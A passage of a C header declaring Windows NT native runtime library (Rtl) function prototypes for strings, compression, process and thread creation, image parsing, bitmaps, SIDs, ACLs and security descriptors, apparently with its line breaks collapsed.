RtlOemStringToUnicodeString( PUNICODE_STRING DestinationString, PCOEM_STRING SourceString, BOOLEAN AllocateDestinationString ); NTSTATUS NTAPI RtlUnicodeStringToOemString( POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString ); NTSTATUS NTAPI RtlUpcaseUnicodeStringToOemString( POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString ); NTSTATUS NTAPI RtlOemStringToCountedUnicodeString( PUNICODE_STRING DestinationString, PCOEM_STRING SourceString, BOOLEAN AllocateDestinationString ); NTSTATUS NTAPI RtlUnicodeStringToCountedOemString( POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString ); NTSTATUS NTAPI RtlUpcaseUnicodeStringToCountedOemString( POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString ); LONG NTAPI RtlCompareUnicodeString( PCUNICODE_STRING String1, PCUNICODE_STRING String2, BOOLEAN CaseInSensitive ); BOOLEAN NTAPI RtlEqualUnicodeString( PCUNICODE_STRING String1, PCUNICODE_STRING String2, BOOLEAN CaseInSensitive ); NTSTATUS NTAPI RtlHashUnicodeString( IN const UNICODE_STRING *String, IN BOOLEAN CaseInSensitive, IN ULONG HashAlgorithm, OUT PULONG HashValue ); NTSTATUS NTAPI RtlValidateUnicodeString( IN ULONG Flags, IN const UNICODE_STRING *String ); NTSTATUS NTAPI RtlDuplicateUnicodeString( IN ULONG Flags, IN const UNICODE_STRING *StringIn, OUT UNICODE_STRING *StringOut ); BOOLEAN NTAPI RtlPrefixUnicodeString( IN PCUNICODE_STRING String1, IN PCUNICODE_STRING String2, IN BOOLEAN CaseInSensitive ); NTSTATUS NTAPI RtlUpcaseUnicodeString( PUNICODE_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString ); NTSTATUS NTAPI RtlFindCharInUnicodeString( IN ULONG Flags, IN PCUNICODE_STRING StringToSearch, IN PCUNICODE_STRING CharSet, OUT USHORT *NonInclusivePrefixLength ); VOID NTAPI RtlCopyUnicodeString( PUNICODE_STRING DestinationString, PCUNICODE_STRING SourceString ); NTSTATUS NTAPI RtlAppendUnicodeStringToString ( PUNICODE_STRING Destination, PCUNICODE_STRING Source ); NTSTATUS NTAPI RtlAppendUnicodeToString ( PUNICODE_STRING Destination, PCWSTR Source ); WCHAR NTAPI RtlUpcaseUnicodeChar( WCHAR SourceCharacter ); WCHAR NTAPI RtlDowncaseUnicodeChar( WCHAR SourceCharacter ); VOID NTAPI RtlFreeUnicodeString( PUNICODE_STRING UnicodeString ); VOID NTAPI RtlFreeAnsiString( PANSI_STRING AnsiString ); VOID NTAPI RtlFreeOemString( POEM_STRING OemString ); ULONG NTAPI RtlxUnicodeStringToAnsiSize( PCUNICODE_STRING UnicodeString ); ULONG NTAPI RtlxUnicodeStringToOemSize( PCUNICODE_STRING UnicodeString ); ULONG NTAPI RtlxAnsiStringToUnicodeSize( PCANSI_STRING AnsiString ); ULONG NTAPI RtlxOemStringToUnicodeSize( PCOEM_STRING OemString ); NTSTATUS NTAPI RtlMultiByteToUnicodeN( OUT PWCH UnicodeString, IN ULONG MaxBytesInUnicodeString, OUT OPTIONAL PULONG BytesInUnicodeString, IN PCSTR MultiByteString, IN ULONG BytesInMultiByteString ); NTSTATUS NTAPI RtlMultiByteToUnicodeSize( PULONG BytesInUnicodeString, PCSTR MultiByteString, ULONG BytesInMultiByteString ); NTSTATUS NTAPI RtlUnicodeToMultiByteSize( OUT PULONG BytesInMultiByteString, IN PWCH UnicodeString, IN ULONG BytesInUnicodeString ); NTSTATUS NTAPI RtlUnicodeToMultiByteN( OUT PCHAR MultiByteString, IN ULONG MaxBytesInMultiByteString, OUT OPTIONAL PULONG BytesInMultiByteString, IN PWCH UnicodeString, IN ULONG BytesInUnicodeString ); NTSTATUS NTAPI RtlUpcaseUnicodeToMultiByteN( OUT PCHAR MultiByteString, IN ULONG MaxBytesInMultiByteString, OUT OPTIONAL PULONG BytesInMultiByteString, IN PWCH UnicodeString, IN ULONG BytesInUnicodeString ); NTSTATUS NTAPI RtlOemToUnicodeN( OUT PWSTR UnicodeString, IN ULONG MaxBytesInUnicodeString, OUT OPTIONAL PULONG BytesInUnicodeString, IN PCH OemString, IN ULONG BytesInOemString ); NTSTATUS NTAPI RtlUnicodeToOemN( OUT PCHAR OemString, IN ULONG MaxBytesInOemString, OUT OPTIONAL PULONG BytesInOemString, IN PWCH UnicodeString, IN ULONG BytesInUnicodeString ); NTSTATUS NTAPI RtlUpcaseUnicodeToOemN( OUT PCHAR OemString, IN ULONG MaxBytesInOemString, OUT OPTIONAL PULONG BytesInOemString, IN PWCH UnicodeString, IN ULONG BytesInUnicodeString ); NTSTATUS NTAPI RtlConsoleMultiByteToUnicodeN( OUT PWCH UnicodeString, IN ULONG MaxBytesInUnicodeString, OUT OPTIONAL PULONG BytesInUnicodeString OPTIONAL, IN PCH MultiByteString, IN ULONG BytesInMultiByteString, OUT PULONG pdwSpecialChar ); BOOLEAN NTAPI RtlIsTextUnicode( IN CONST VOID* Buffer, IN ULONG Size, _Inout_ PULONG Result OPTIONAL ); NTSTATUS NTAPI RtlStringFromGUID( IN REFGUID Guid, OUT PUNICODE_STRING GuidString ); NTSTATUS NTAPI RtlGUIDFromString( IN PUNICODE_STRING GuidString, OUT GUID* Guid ); VOID NTAPI RtlGenerate8dot3Name ( IN PUNICODE_STRING Name, IN BOOLEAN AllowExtendedCharacters, _Inout_ PGENERATE_NAME_CONTEXT Context, OUT PUNICODE_STRING Name8dot3 ); BOOLEAN NTAPI RtlIsNameLegalDOS8Dot3 ( IN PUNICODE_STRING Name, _Inout_ POEM_STRING OemName OPTIONAL, _Inout_ PBOOLEAN NameContainsSpaces OPTIONAL ); VOID NTAPI RtlInitializeContext( HANDLE Process, PCONTEXT Context, PVOID Parameter, PVOID InitialPc, PVOID InitialSp ); NTSTATUS NTAPI RtlRemoteCall( HANDLE Process, HANDLE Thread, PVOID CallSite, ULONG ArgumentCount, PULONG_PTR Arguments, BOOLEAN PassContext, BOOLEAN AlreadySuspended ); VOID NTAPI RtlAcquirePebLock( ); VOID NTAPI RtlReleasePebLock( ); NTSTATUS NTAPI RtlAllocateFromPeb( ULONG Size, PVOID *Block ); NTSTATUS NTAPI RtlFreeToPeb( PVOID Block, ULONG Size ); NTSTATUS STDAPIVCALLTYPE RtlSetProcessIsCritical( IN BOOLEAN NewValue, OUT PBOOLEAN OldValue OPTIONAL, IN BOOLEAN CheckFlag ); NTSTATUS STDAPIVCALLTYPE RtlSetThreadIsCritical( IN BOOLEAN NewValue, OUT PBOOLEAN OldValue OPTIONAL, IN BOOLEAN CheckFlag ); NTSTATUS NTAPI RtlCreateEnvironment( BOOLEAN CloneCurrentEnvironment, PVOID *Environment ); NTSTATUS NTAPI RtlDestroyEnvironment( PVOID Environment ); NTSTATUS NTAPI RtlSetCurrentEnvironment( PVOID Environment, PVOID *PreviousEnvironment ); NTSTATUS NTAPI RtlSetEnvironmentVariable( PVOID *Environment, PCUNICODE_STRING Name, PCUNICODE_STRING Value ); ULONG RtlIsDosDeviceName_U( IN PWSTR DosFileName ); NTSTATUS NTAPI RtlQueryEnvironmentVariable_U ( PVOID Environment, PCUNICODE_STRING Name, PUNICODE_STRING Value ); NTSTATUS NTAPI RtlExpandEnvironmentStrings_U( IN PVOID Environment OPTIONAL, IN PCUNICODE_STRING Source, OUT PUNICODE_STRING Destination, OUT PULONG ReturnedLength OPTIONAL ); VOID NTAPI PfxInitialize ( PPREFIX_TABLE PrefixTable ); BOOLEAN NTAPI PfxInsertPrefix ( PPREFIX_TABLE PrefixTable, PSTRING Prefix, PPREFIX_TABLE_ENTRY PrefixTableEntry ); VOID NTAPI PfxRemovePrefix ( PPREFIX_TABLE PrefixTable, PPREFIX_TABLE_ENTRY PrefixTableEntry ); PPREFIX_TABLE_ENTRY NTAPI PfxFindPrefix ( PPREFIX_TABLE PrefixTable, PSTRING FullName ); VOID NTAPI RtlInitializeUnicodePrefix ( PUNICODE_PREFIX_TABLE PrefixTable ); BOOLEAN NTAPI RtlInsertUnicodePrefix ( PUNICODE_PREFIX_TABLE PrefixTable, PUNICODE_STRING Prefix, PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry ); VOID NTAPI RtlRemoveUnicodePrefix ( PUNICODE_PREFIX_TABLE PrefixTable, PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry ); PUNICODE_PREFIX_TABLE_ENTRY NTAPI RtlFindUnicodePrefix ( PUNICODE_PREFIX_TABLE PrefixTable, PUNICODE_STRING FullName, ULONG CaseInsensitiveIndex ); PUNICODE_PREFIX_TABLE_ENTRY NTAPI RtlNextUnicodePrefix ( PUNICODE_PREFIX_TABLE PrefixTable, BOOLEAN Restart ); NTSTATUS NTAPI RtlGetCompressionWorkSpaceSize ( IN USHORT CompressionFormatAndEngine, OUT PULONG CompressBufferWorkSpaceSize, OUT PULONG CompressFragmentWorkSpaceSize ); NTSTATUS NTAPI RtlCompressBuffer ( IN USHORT CompressionFormatAndEngine, IN PUCHAR UncompressedBuffer, IN ULONG UncompressedBufferSize, OUT PUCHAR CompressedBuffer, IN ULONG CompressedBufferSize, IN ULONG UncompressedChunkSize, OUT PULONG FinalCompressedSize, IN PVOID WorkSpace ); NTSTATUS NTAPI RtlDecompressBuffer ( IN USHORT CompressionFormat, OUT PUCHAR UncompressedBuffer, IN ULONG UncompressedBufferSize, IN PUCHAR CompressedBuffer, IN ULONG CompressedBufferSize, OUT PULONG FinalUncompressedSize ); NTSTATUS NTAPI RtlDecompressFragment ( IN USHORT CompressionFormat, OUT PUCHAR UncompressedFragment, IN ULONG UncompressedFragmentSize, IN PUCHAR CompressedBuffer, IN ULONG CompressedBufferSize, IN ULONG FragmentOffset, OUT PULONG FinalUncompressedSize, IN PVOID WorkSpace ); NTSTATUS NTAPI RtlDescribeChunk ( IN USHORT CompressionFormat, _Inout_ PUCHAR *CompressedBuffer, IN PUCHAR EndOfCompressedBufferPlus1, OUT PUCHAR *ChunkBuffer, OUT PULONG ChunkSize ); NTSTATUS NTAPI RtlReserveChunk ( IN USHORT CompressionFormat, _Inout_ PUCHAR *CompressedBuffer, IN PUCHAR EndOfCompressedBufferPlus1, OUT PUCHAR *ChunkBuffer, IN ULONG ChunkSize ); NTSTATUS NTAPI RtlDecompressChunks ( OUT PUCHAR UncompressedBuffer, IN ULONG UncompressedBufferSize, IN PUCHAR CompressedBuffer, IN ULONG CompressedBufferSize, IN PUCHAR CompressedTail, IN ULONG CompressedTailSize, IN PCOMPRESSED_DATA_INFO CompressedDataInfo ); NTSTATUS NTAPI RtlCompressChunks ( IN PUCHAR UncompressedBuffer, IN ULONG UncompressedBufferSize, OUT PUCHAR CompressedBuffer, IN ULONG CompressedBufferSize, _Inout_ PCOMPRESSED_DATA_INFO CompressedDataInfo, IN ULONG CompressedDataInfoLength, IN PVOID WorkSpace ); NTSTATUS NTAPI RtlCreateProcessParameters( PRTL_USER_PROCESS_PARAMETERS *ProcessParameters, PUNICODE_STRING ImagePathName, PUNICODE_STRING DllPath, PUNICODE_STRING CurrentDirectory, PUNICODE_STRING CommandLine, PVOID Environment, PUNICODE_STRING WindowTitle, PUNICODE_STRING DesktopInfo, PUNICODE_STRING ShellInfo, PUNICODE_STRING RuntimeData ); NTSTATUS NTAPI RtlDestroyProcessParameters( PRTL_USER_PROCESS_PARAMETERS ProcessParameters ); PRTL_USER_PROCESS_PARAMETERS NTAPI RtlNormalizeProcessParams( PRTL_USER_PROCESS_PARAMETERS ProcessParameters ); PRTL_USER_PROCESS_PARAMETERS NTAPI RtlDeNormalizeProcessParams( PRTL_USER_PROCESS_PARAMETERS ProcessParameters ); NTSTATUS NTAPI RtlCreateUserProcess( PUNICODE_STRING NtImagePathName, ULONG Attributes, PRTL_USER_PROCESS_PARAMETERS ProcessParameters, PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, HANDLE ParentProcess, BOOLEAN InheritHandles, HANDLE DebugPort, HANDLE ExceptionPort, PRTL_USER_PROCESS_INFORMATION ProcessInformation ); NTSTATUS NTAPI RtlCreateUserThread( HANDLE Process, PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, BOOLEAN CreateSuspended, ULONG StackZeroBits, SIZE_T MaximumStackSize OPTIONAL, SIZE_T InitialStackSize OPTIONAL, PUSER_THREAD_START_ROUTINE StartAddress, PVOID Parameter, PHANDLE Thread, PCLIENT_ID ClientId ); VOID NTAPI RtlExitUserThread ( IN NTSTATUS ExitStatus ); VOID NTAPI RtlFreeUserThreadStack( HANDLE hProcess, HANDLE hThread ); /* PVOID NTAPI RtlPcToFileHeader( PVOID PcValue, PVOID *BaseOfImage );*/ NTSTATUS NTAPI RtlImageNtHeaderEx( ULONG Flags, PVOID Base, ULONG64 Size, OUT PIMAGE_NT_HEADERS * OutHeaders ); PIMAGE_NT_HEADERS NTAPI RtlImageNtHeader( PVOID Base ); PVOID NTAPI RtlAddressInSectionTable ( IN PIMAGE_NT_HEADERS NtHeaders, IN PVOID BaseOfImage, IN ULONG VirtualAddress ); PIMAGE_SECTION_HEADER NTAPI RtlSectionTableFromVirtualAddress ( IN PIMAGE_NT_HEADERS NtHeaders, IN PVOID BaseOfImage, IN ULONG VirtualAddress ); NTSTATUS NTAPI RtlImageDirectoryEntryToData( PVOID BaseOfImage, BOOLEAN MappedAsImage, USHORT DirectoryEntry, PULONG Size ); PVOID RtlImageDirectoryEntryToData32 ( IN PVOID Base, IN BOOLEAN MappedAsImage, IN USHORT DirectoryEntry, OUT PULONG Size ); PIMAGE_SECTION_HEADER NTAPI RtlImageRvaToSection( IN PIMAGE_NT_HEADERS NtHeaders, IN PVOID Base, IN ULONG Rva ); PVOID NTAPI RtlImageRvaToVa( IN PIMAGE_NT_HEADERS NtHeaders, IN PVOID Base, IN ULONG Rva, _Inout_ PIMAGE_SECTION_HEADER *LastRvaSection OPTIONAL ); VOID NTAPI RtlCopyMemoryNonTemporal ( VOID UNALIGNED *Destination, CONST VOID UNALIGNED *Source, SIZE_T Length ); VOID __fastcall RtlPrefetchMemoryNonTemporal( IN PVOID Source, IN SIZE_T Length ); SIZE_T NTAPI RtlCompareMemoryUlong ( PVOID Source, SIZE_T Length, ULONG Pattern ); VOID NTAPI RtlFillMemoryUlong ( PVOID Destination, SIZE_T Length, ULONG Pattern ); VOID NTAPI RtlFillMemoryUlonglong ( PVOID Destination, SIZE_T Length, ULONGLONG Pattern ); VOID NTAPI RtlInitializeExceptionLog( IN ULONG Entries ); LONG NTAPI RtlUnhandledExceptionFilter( IN struct _EXCEPTION_POINTERS *ExceptionInfo ); LONG NTAPI RtlUnhandledExceptionFilter2( IN struct _EXCEPTION_POINTERS *ExceptionInfo, IN PCSTR Function ); VOID NTAPI DbgUserBreakPoint( VOID ); VOID NTAPI DbgBreakPointWithStatus( IN ULONG Status ); ULONG DbgPrintEx ( IN ULONG ComponentId, IN ULONG Level, IN PCH Format, ... ); ULONG NTAPI vDbgPrintEx( IN ULONG ComponentId, IN ULONG Level, IN PCH Format, IN va_list arglist ); ULONG NTAPI vDbgPrintExWithPrefix ( IN PCH Prefix, IN ULONG ComponentId, IN ULONG Level, IN PCH Format, IN va_list arglist ); ULONG DbgPrintReturnControlC ( IN PCHAR Format, ... ); NTSTATUS NTAPI DbgQueryDebugFilterState ( IN ULONG ComponentId, IN ULONG Level ); NTSTATUS NTAPI DbgSetDebugFilterState ( IN ULONG ComponentId, IN ULONG Level, IN BOOLEAN State ); ULONG NTAPI DbgPrompt ( IN PCH Prompt, OUT PCH Response, IN ULONG Length ); VOID NTAPI DbgLoadImageSymbols ( IN PSTRING FileName, IN PVOID ImageBase, IN ULONG_PTR ProcessId ); VOID NTAPI DbgUnLoadImageSymbols ( IN PSTRING FileName, IN PVOID ImageBase, IN ULONG_PTR ProcessId ); VOID NTAPI DbgCommandString ( IN PCH Name, IN PCH Command ); BOOLEAN NTAPI RtlCutoverTimeToSystemTime( PTIME_FIELDS CutoverTime, PLARGE_INTEGER SystemTime, PLARGE_INTEGER CurrentSystemTime, BOOLEAN ThisYear ); NTSTATUS NTAPI RtlSystemTimeToLocalTime ( IN PLARGE_INTEGER SystemTime, OUT PLARGE_INTEGER LocalTime ); NTSTATUS NTAPI RtlLocalTimeToSystemTime ( IN PLARGE_INTEGER LocalTime, OUT PLARGE_INTEGER SystemTime ); VOID NTAPI RtlTimeToElapsedTimeFields ( IN PLARGE_INTEGER Time, OUT PTIME_FIELDS TimeFields ); VOID NTAPI RtlTimeToTimeFields ( PLARGE_INTEGER Time, PTIME_FIELDS TimeFields ); BOOLEAN NTAPI RtlTimeFieldsToTime ( PTIME_FIELDS TimeFields, PLARGE_INTEGER Time ); BOOLEAN NTAPI RtlTimeToSecondsSince1980 ( PLARGE_INTEGER Time, PULONG ElapsedSeconds ); VOID NTAPI RtlSecondsSince1980ToTime ( ULONG ElapsedSeconds, PLARGE_INTEGER Time ); BOOLEAN NTAPI RtlTimeToSecondsSince1970 ( PLARGE_INTEGER Time, PULONG ElapsedSeconds ); VOID NTAPI RtlSecondsSince1970ToTime ( ULONG ElapsedSeconds, PLARGE_INTEGER Time ); NTSTATUS NTAPI RtlQueryTimeZoneInformation( OUT PRTL_TIME_ZONE_INFORMATION TimeZoneInformation ); NTSTATUS NTAPI RtlSetTimeZoneInformation( IN PRTL_TIME_ZONE_INFORMATION TimeZoneInformation ); NTSTATUS NTAPI RtlSetActiveTimeBias( IN LONG ActiveBias ); VOID NTAPI RtlInitializeBitMap ( PRTL_BITMAP BitMapHeader, PULONG BitMapBuffer, ULONG SizeOfBitMap ); VOID NTAPI RtlClearBit ( PRTL_BITMAP BitMapHeader, ULONG BitNumber ); VOID NTAPI RtlSetBit ( PRTL_BITMAP BitMapHeader, ULONG BitNumber ); BOOLEAN NTAPI RtlTestBit ( PRTL_BITMAP BitMapHeader, ULONG BitNumber ); VOID NTAPI RtlClearAllBits ( PRTL_BITMAP BitMapHeader ); VOID NTAPI RtlSetAllBits ( PRTL_BITMAP BitMapHeader ); ULONG NTAPI RtlFindClearBits ( PRTL_BITMAP BitMapHeader, ULONG NumberToFind, ULONG HintIndex ); ULONG NTAPI RtlFindSetBits ( PRTL_BITMAP BitMapHeader, ULONG NumberToFind, ULONG HintIndex ); ULONG NTAPI RtlFindClearBitsAndSet ( PRTL_BITMAP BitMapHeader, ULONG NumberToFind, ULONG HintIndex ); ULONG NTAPI RtlFindSetBitsAndClear ( PRTL_BITMAP BitMapHeader, ULONG NumberToFind, ULONG HintIndex ); VOID NTAPI RtlClearBits ( PRTL_BITMAP BitMapHeader, ULONG StartingIndex, ULONG NumberToClear ); VOID NTAPI RtlSetBits ( PRTL_BITMAP BitMapHeader, ULONG StartingIndex, ULONG NumberToSet ); ULONG NTAPI RtlFindClearRuns ( PRTL_BITMAP BitMapHeader, PRTL_BITMAP_RUN RunArray, ULONG SizeOfRunArray, BOOLEAN LocateLongestRuns ); ULONG NTAPI RtlFindLongestRunClear ( PRTL_BITMAP BitMapHeader, PULONG StartingIndex ); ULONG NTAPI RtlFindFirstRunClear ( PRTL_BITMAP BitMapHeader, PULONG StartingIndex ); ULONG NTAPI RtlNumberOfClearBits ( PRTL_BITMAP BitMapHeader ); ULONG NTAPI RtlNumberOfSetBits ( PRTL_BITMAP BitMapHeader ); BOOLEAN NTAPI RtlAreBitsClear ( PRTL_BITMAP BitMapHeader, ULONG StartingIndex, ULONG Length ); BOOLEAN NTAPI RtlAreBitsSet ( PRTL_BITMAP BitMapHeader, ULONG StartingIndex, ULONG Length ); ULONG NTAPI RtlFindNextForwardRunClear ( IN PRTL_BITMAP BitMapHeader, IN ULONG FromIndex, IN PULONG StartingRunIndex ); ULONG NTAPI RtlFindLastBackwardRunClear ( IN PRTL_BITMAP BitMapHeader, IN ULONG FromIndex, IN PULONG StartingRunIndex ); CCHAR NTAPI RtlFindLeastSignificantBit ( IN ULONGLONG Set ); CCHAR NTAPI RtlFindMostSignificantBit ( IN ULONGLONG Set ); BOOLEAN NTAPI RtlValidSid ( PSID Sid ); BOOLEAN NTAPI RtlEqualSid ( PSID Sid1, PSID Sid2 ); BOOLEAN NTAPI RtlEqualPrefixSid ( PSID Sid1, PSID Sid2 ); ULONG NTAPI RtlLengthRequiredSid ( ULONG SubAuthorityCount ); PVOID NTAPI RtlFreeSid( IN PSID Sid ); NTSTATUS NTAPI RtlInitializeSid( OUT PSID Sid, IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, IN UCHAR SubAuthorityCount ); NTSTATUS NTAPI RtlAllocateAndInitializeSid( IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, IN UCHAR SubAuthorityCount, IN ULONG SubAuthority0, IN ULONG SubAuthority1, IN ULONG SubAuthority2, IN ULONG SubAuthority3, IN ULONG SubAuthority4, IN ULONG SubAuthority5, IN ULONG SubAuthority6, IN ULONG SubAuthority7, OUT PSID *Sid ); PSID_IDENTIFIER_AUTHORITY NTAPI RtlIdentifierAuthoritySid ( PSID Sid ); PULONG NTAPI RtlSubAuthoritySid( IN PSID Sid, IN ULONG SubAuthority ); PUCHAR NTAPI RtlSubAuthorityCountSid ( PSID Sid ); ULONG NTAPI RtlLengthSid ( PSID Sid ); NTSTATUS NTAPI RtlCopySid ( ULONG DestinationSidLength, PSID DestinationSid, PSID SourceSid ); NTSTATUS NTAPI RtlCopySidAndAttributesArray ( ULONG ArrayLength, PSID_AND_ATTRIBUTES Source, ULONG TargetSidBufferSize, PSID_AND_ATTRIBUTES TargetArrayElement, PSID TargetSid, PSID *NextTargetSid, PULONG RemainingTargetSidSize ); NTSTATUS NTAPI RtlLengthSidAsUnicodeString( PSID Sid, PULONG StringLength ); NTSTATUS NTAPI RtlConvertSidToUnicodeString( PUNICODE_STRING UnicodeString, PSID Sid, BOOLEAN AllocateDestinationString ); VOID NTAPI RtlCopyLuid ( PLUID DestinationLuid, PLUID SourceLuid ); VOID NTAPI RtlCopyLuidAndAttributesArray ( ULONG ArrayLength, PLUID_AND_ATTRIBUTES Source, PLUID_AND_ATTRIBUTES Target ); BOOLEAN NTAPI RtlAreAllAccessesGranted( ACCESS_MASK GrantedAccess, ACCESS_MASK DesiredAccess ); BOOLEAN NTAPI RtlAreAnyAccessesGranted( ACCESS_MASK GrantedAccess, ACCESS_MASK DesiredAccess ); VOID NTAPI RtlMapGenericMask( PACCESS_MASK AccessMask, PGENERIC_MAPPING GenericMapping ); NTSTATUS NTAPI RtlCreateAcl( OUT PACL Acl, IN ULONG AclLength, IN ULONG AclRevision ); BOOLEAN NTAPI RtlValidAcl( PACL Acl ); NTSTATUS NTAPI RtlQueryInformationAcl( PACL Acl, PVOID AclInformation, ULONG AclInformationLength, ACL_INFORMATION_CLASS AclInformationClass ); NTSTATUS NTAPI RtlSetInformationAcl( PACL Acl, PVOID AclInformation, ULONG AclInformationLength, ACL_INFORMATION_CLASS AclInformationClass ); NTSTATUS NTAPI RtlAddAce( PACL Acl, ULONG AceRevision, ULONG StartingAceIndex, PVOID AceList, ULONG AceListLength ); NTSTATUS NTAPI RtlDeleteAce( PACL Acl, ULONG AceIndex ); NTSTATUS NTAPI RtlGetAce( PACL Acl, ULONG AceIndex, PVOID *Ace ); NTSTATUS NTAPI RtlSetOwnerSecurityDescriptor( _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, _In_opt_ PSID Owner, _In_opt_ BOOLEAN OwnerDefaulted ); NTSTATUS NTAPI RtlGetOwnerSecurityDescriptor( IN PSECURITY_DESCRIPTOR SecurityDescriptor, OUT PSID *Owner, OUT PBOOLEAN OwnerDefaulted ); NTSTATUS NTAPI RtlAddAccessAllowedAce( PACL Acl, ULONG AceRevision, ACCESS_MASK AccessMask, PSID Sid ); NTSTATUS NTAPI RtlAddAccessAllowedAceEx( PACL Acl, ULONG AceRevision, ULONG AceFlags, ACCESS_MASK AccessMask, PSID Sid ); NTSTATUS NTAPI RtlAddAccessDeniedAce( PACL Acl, ULONG AceRevision, ACCESS_MASK AccessMask, PSID Sid ); NTSTATUS NTAPI RtlAddAccessDeniedAceEx( PACL Acl, ULONG AceRevision, ULONG AceFlags, ACCESS_MASK AccessMask, PSID Sid ); NTSTATUS NTAPI RtlAddAuditAccessAce( PACL Acl, ULONG AceRevision, ACCESS_MASK AccessMask, PSID Sid, BOOLEAN AuditSuccess, BOOLEAN AuditFailure ); NTSTATUS NTAPI RtlAddAuditAccessAceEx( PACL Acl, ULONG AceRevision, ULONG AceFlags, ACCESS_MASK AccessMask, PSID Sid, BOOLEAN AuditSuccess, BOOLEAN AuditFailure ); NTSTATUS NTAPI RtlAddAccessAllowedObjectAce( _Inout_ PACL Acl, IN ULONG AceRevision, IN ULONG AceFlags, IN ACCESS_MASK AccessMask, IN GUID *ObjectTypeGuid OPTIONAL, IN GUID *InheritedObjectTypeGuid OPTIONAL, IN PSID Sid ); NTSTATUS NTAPI RtlAddAccessDeniedObjectAce( _Inout_ PACL Acl, IN ULONG AceRevision, IN ULONG AceFlags, IN ACCESS_MASK AccessMask, IN GUID *ObjectTypeGuid OPTIONAL, IN GUID *InheritedObjectTypeGuid OPTIONAL, IN PSID Sid ); NTSTATUS NTAPI RtlAddAuditAccessObjectAce( _Inout_ PACL Acl, IN ULONG AceRevision, IN ULONG AceFlags, IN ACCESS_MASK AccessMask, IN GUID *ObjectTypeGuid OPTIONAL, IN GUID *InheritedObjectTypeGuid OPTIONAL, IN PSID Sid, BOOLEAN AuditSuccess, BOOLEAN AuditFailure ); BOOLEAN NTAPI RtlFirstFreeAce( PACL Acl, PVOID *FirstFree ); NTSTATUS NTAPI RtlAddCompoundAce( IN PACL Acl, IN ULONG AceRevision, IN UCHAR AceType, IN ACCESS_MASK AccessMask, IN PSID ServerSid, IN PSID ClientSid ); NTSTATUS NTAPI RtlCreateSecurityDescriptor( PSECURITY_DESCRIPTOR SecurityDescriptor, ULONG Revision ); NTSTATUS NTAPI RtlCreateSecurityDescriptorRelative( PISECURITY_DESCRIPTOR_RELATIVE SecurityDescriptor, ULONG Revision ); BOOLEAN NTAPI RtlValidSecurityDescriptor( PSECURITY_DESCRIPTOR SecurityDescriptor ); ULONG NTAPI RtlLengthSecurityDescriptor( PSECURITY_DESCRIPTOR SecurityDescriptor ); BOOLEAN NTAPI RtlValidRelativeSecurityDescriptor( IN PSECURITY_DESCRIPTOR SecurityDescriptorInput, IN ULONG SecurityDescriptorLength, IN SECURITY_INFORMATION RequiredInformation ); NTSTATUS NTAPI RtlGetControlSecurityDescriptor ( PSECURITY_DESCRIPTOR SecurityDescriptor, PSECURITY_DESCRIPTOR_CONTROL Control, PULONG Revision ); NTSTATUS NTAPI RtlSetControlSecurityDescriptor ( IN PSECURITY_DESCRIPTOR pSecurityDescriptor, IN SECURITY_DESCRIPTOR_CONTROL ControlBitsOfInterest, IN SECURITY_DESCRIPTOR_CONTROL ControlBitsToSet ); NTSTATUS NTAPI RtlSetAttributesSecurityDescriptor( IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN SECURITY_DESCRIPTOR_CONTROL Control, _Inout_ PULONG Revision ); NTSTATUS NTAPI RtlSetDaclSecurityDescriptor ( PSECURITY_DESCRIPTOR SecurityDescriptor, BOOLEAN DaclPresent, PACL Dacl, BOOLEAN DaclDefaulted ); NTSTATUS NTAPI RtlGetDaclSecurityDescriptor ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, OUT PBOOLEAN DaclPresent, OUT PACL *Dacl, OUT PBOOLEAN DaclDefaulted ); BOOLEAN NTAPI RtlGetSecurityDescriptorRMControl( IN PSECURITY_DESCRIPTOR SecurityDescriptor, OUT PUCHAR RMControl ); VOID NTAPI RtlSetSecurityDescriptorRMControl( _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, IN PUCHAR RMControl OPTIONAL ); NTSTATUS NTAPI RtlSetSaclSecurityDescriptor ( PSECURITY_DESCRIPTOR SecurityDescriptor, BOOLEAN SaclPresent, PACL Sacl, BOOLEAN SaclDefaulted ); NTSTATUS NTAPI RtlGetSaclSecurityDescriptor ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, OUT PBOOLEAN SaclPresent, OUT PACL *Sacl, OUT PBOOLEAN SaclDefaulted ); NTSTATUS NTAPI RtlSetGroupSecurityDescriptor ( _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor, IN PSID Group OPTIONAL, IN BOOLEAN GroupDefaulted OPTIONAL ); NTSTATUS NTAPI RtlGetGroupSecurityDescriptor ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, OUT PSID *Group, OUT PBOOLEAN GroupDefaulted ); NTSTATUS NTAPI RtlMakeSelfRelativeSD ( IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, _Inout_ PULONG BufferLength ); NTSTATUS NTAPI RtlAbsoluteToSelfRelativeSD ( IN PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, OUT PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, _Inout_ PULONG BufferLength ); NTSTATUS NTAPI RtlSelfRelativeToAbsoluteSD ( IN PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor, OUT OPTIONAL PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor, _Inout_ PULONG AbsoluteSecurityDescriptorSize, OUT OPTIONAL PACL Dacl, _Inout_ PULONG DaclSize, OUT OPTIONAL PACL Sacl, _Inout_ PULONG SaclSize, OUT OPTIONAL PSID Owner, _Inout_ PULONG OwnerSize, OUT OPTIONAL 